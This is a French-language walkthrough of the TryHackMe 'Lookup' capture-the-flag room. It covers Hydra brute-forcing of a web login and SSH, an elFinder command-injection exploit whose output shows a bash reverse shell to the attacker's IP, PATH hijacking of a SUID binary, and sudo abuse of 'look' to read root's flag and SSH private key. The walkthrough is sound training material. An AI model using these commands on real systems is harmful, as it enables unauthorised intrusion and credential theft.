Lookup
Lien vers l’épreuve : https://tryhackme.com/room/lookup
Sommaire
- Reconnaissance
- Exploitation du serveur web
- Gestionnaire de fichiers
- Escalade horizontale
- Accès en tant que root
- Bonus
Reconnaissance
nmap -A -T4 lookup.thm
Afficher la réponse
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 11:32 CET
Nmap scan report for lookup.thm (10.10.137.76)
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login Page
|_http-server-header: Apache/2.4.41 (Ubuntu)
Aggressive OS guesses: Linux 4.15 (98%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 5.4 (94%), Linux 2.6.32 - 3.5 (94%), Linux 5.0 - 5.14 (94%), Linux 2.6.32 - 3.13 (93%), Sony X75CH-series Android TV (Android 5.0) (92%), Linux 2.6.32 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 33.32 ms 10.11.0.1
2 33.52 ms lookup.thm (10.10.137.76)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.60 seconds
Le scan NMAP nous permet de découvrir la présence d’un service SSH sur le port 22, et un service HTTP sur le port 80.
Exploitation du serveur web
La première page est une simple mire d’authentification.
En envoyant une requête basique, nous recevons une réponse indiquant un mauvais mot de passe
POST /login.php HTTP/1.1
Host: lookup.thm
Content-Length: 29
Cache-Control: max-age=0
Accept-Language: fr-FR,fr;q=0.9
Origin: http://lookup.thm
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://lookup.thm/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=admin&password=admin
HTTP/1.1 200 OK
Date: Sun, 16 Feb 2025 10:37:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Refresh: 3; url=http://lookup.thm
Content-Length: 62
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Wrong password. Please try again.<br>Redirecting in 3 seconds.
En revanche, si nous tentons un autre nom d’utilisateur, le message change, ici avec le username “test” :
HTTP/1.1 200 OK
Date: Sun, 16 Feb 2025 10:41:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Refresh: 3; url=http://lookup.thm
Vary: Accept-Encoding
Content-Length: 74
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Wrong username or password. Please try again.<br>Redirecting in 3 seconds.
Grâce à cette information, nous allons pouvoir tenter de trouver des noms d’utilisateur existants avec Hydra.
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -p test lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=username"
Afficher la réponse
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 11:47:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 624370 login tries (l:624370/p:1), ~39024 tries per task
[DATA] attacking http-post-form://lookup.thm:80/login.php:username=^USER^&password=^PASS^:F=username
[80][http-post-form] host: lookup.thm login: admin password: test
[80][http-post-form] host: lookup.thm login: jose password: test
Nous avons trouvé un autre nom d’utilisateur pour lequel nous allons tenter de trouver le mot de passe de la même manière.
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=password" -I -f
Afficher la réponse
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 11:53:27
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://lookup.thm:80/login.php:username=^USER^&password=^PASS^:F=password
[80][http-post-form] host: lookup.thm login: jose password: [...expurgé...]
[STATUS] attack finished for lookup.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-16 11:53:59
Nous espérions que le mot de passe soit réutilisé pour le serveur SSH, malheureusement il n’en est rien.
ssh jose@lookup.thm
The authenticity of host 'lookup.thm (10.10.137.76)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'lookup.thm' (ED25519) to the list of known hosts.
jose@lookup.thm's password:
Permission denied, please try again.
jose@lookup.thm's password:
En nous connectant au service web avec les identifiants trouvés, nous constatons une redirection vers le sous-domaine files.lookup.thm
que nous allons devoir ajouter à notre fichier /etc/hosts
pour pouvoir continuer.
Gestionnaire de fichiers
Nous arrivons à présent sur une interface d’un gestionnaire de fichier nommé elFinder
Montrer la capture

Une analyse rapide des fichiers ne révèle pas de contenu particulièrement intéressant.
Nous savons que l’outil est en version 2.1.47. Une recherche avec l’outil searchsploit
nous permet de trouver une méthode permettant de faire des injections de commandes sur cette même version du programme
searchsploit elfinder
----------------------------------------------------------------------------------------------- -------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- -------------------------
elFinder 2 - Remote Command Execution (via File Creation) | php/webapps/36925.py
elFinder 2.1.47 - 'PHP connector' Command Injection | php/webapps/46481.py
elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit) | php/remote/46539.rb
elFinder Web file manager Version - 2.1.53 Remote Command Execution | php/webapps/51864.txt
----------------------------------------------------------------------------------------------- -------------------------
Shellcodes: No Results
L’exploit ne fonctionnant pas correctement, nous avons trouvé une autre méthode sur Github pour exploiter cette vulnérabilité.
python3 exploit.py -t http://files.lookup.thm/elFinder/ -lh 10.11.126.196 -lp 9000
CVE-2019-9194 elFinder 2.1.47 - PHP connector Command Injection
Uploading image
Gettin file hash: l1_cnNlLmpwZztlY2hvIDNjM2Y3MDY4NzAyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUyNDU1MTU1NDU1MzU0NWIyMjYzMjI1ZDI5M2IyMDNmM2UwYSB8eHhkIC1yIC1wID4gcnNlLnBocDsgIy5qcGc
Rotating image
Requesting shell at http://files.lookup.thm/elFinder/php/rse.php?c=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.11.126.196/9000%200>%261'
Sur notre machine d’attaque, nous obtenons un shell :
nc -lvnp 9000
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 10.10.137.76:34160.
bash: cannot set terminal process group (712): Inappropriate ioctl for device
bash: no job control in this shell
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ whoami
whoami
www-data
Escalade horizontale
En listant les comptes existants sur la machine, nous trouvons le compte “think”. Bien que le fichier trouvé sur elFinder credential.txt
affiche “think : nopassword”, il n’est pas possible de changer d’utilisateur que ce soit avec le mot de passe “nopassword” ou sans mot de passe du tout.
ls -hAl /home
total 4.0K
drwxr-xr-x 5 think think 4.0K Jan 11 2024 think
ls -hAl /home/think
total 32K
lrwxrwxrwx 1 root root 9 Jun 21 2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think 220 Jun 2 2023 .bash_logout
-rwxr-xr-x 1 think think 3.7K Jun 2 2023 .bashrc
drwxr-xr-x 2 think think 4.0K Jun 21 2023 .cache
drwx------ 3 think think 4.0K Aug 9 2023 .gnupg
-rw-r----- 1 root think 525 Jul 30 2023 .passwords
-rwxr-xr-x 1 think think 807 Jun 2 2023 .profile
drw-r----- 2 think think 4.0K Jun 21 2023 .ssh
lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null
-rw-r----- 1 root think 33 Jul 30 2023 user.txt
Malheureusement, aucune donnée intéressante n’est accessible pour l’utilisateur www-data
En utilisant linPEAS pour énumérer en profondeur la machine, nous trouvons un binaire inconnu :
-rwsr-sr-x 1 root root 17K Jan 11 2024 /usr/sbin/pwm (Unknown SUID binary!)
Ce binaire appartient à root, et dispose de SUID et SGID permettant de l’utiliser en tant que root sans authentification préalable.
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
Le binaire lance donc la commande id
afin de récupérer le contenu du fichier .passwords
du compte actuellement utilisé. Nous créons une version “alternative” de la commande id
qui donnera le même résultat que si nous utilisions l’utilisateur think
# Récupérer les informations de l'utilisateur think
id think
uid=1000(think) gid=1000(think) groups=1000(think)
#Créer un faux fichier id qui retournera la même information
echo '#!/bin/bash
echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > id
# Mettre à jour le PATH pour que le nouveau 'id' soit pris en compte
chmod +x id
export PATH=/tmp:$PATH
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
[...expurgé pour brièveté...]
jose.2856171
Nous enregistrons la liste au format txt, puis nous lançons une nouvelle fois Hydra cette fois sur le service SSH
hydra -l think -P pass.txt lookup.thm ssh -f -I
Afficher la réponse
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 19:32:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:1/p:49), ~4 tries per task
[DATA] attacking ssh://lookup.thm:22/
[22][ssh] host: lookup.thm login: think password: jose[...expurgé...]
[STATUS] attack finished for lookup.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-16 19:32:47
Nous pouvons à présent nous connecter en tant que think
et obtenir notre premier flag.
ssh think@lookup.thm
think@lookup.thm\'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
[...expurgé pour brièveté...]
cat user.txt
38375f[...expurgé...]2b820e
Accès en tant que root
L’utilisateur à le droit d’utiliser une commande particulière avec les privilèges sudo
sudo -l -l
Matching Defaults entries for think on lookup:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on lookup:
Sudoers entry:
RunAsUsers: ALL
Commands:
/usr/bin/look
Nous devrions pouvoir abuser de ces privilèges grâce au recueil GTFOBins et lire le contenu du flag root.
sudo look '' /root/root.txt
5a285a[...expurgé...]7d18e8
Bonus
Il est également possible de récupérer une clé privée SSH nous permettant de gagner l’accès en root à la machine.
sudo look '' /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...expurgé...]
-----END OPENSSH PRIVATE KEY-----
Nous copions le contenu de la clé sur notre machine, lui attribuons les bons droits et nous pouvons nous connecter à la machine.
ssh -i id_rsa root@lookup.thm
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
[...expurgé pour brièveté...]
id
uid=0(root) gid=0(root) groups=0(root)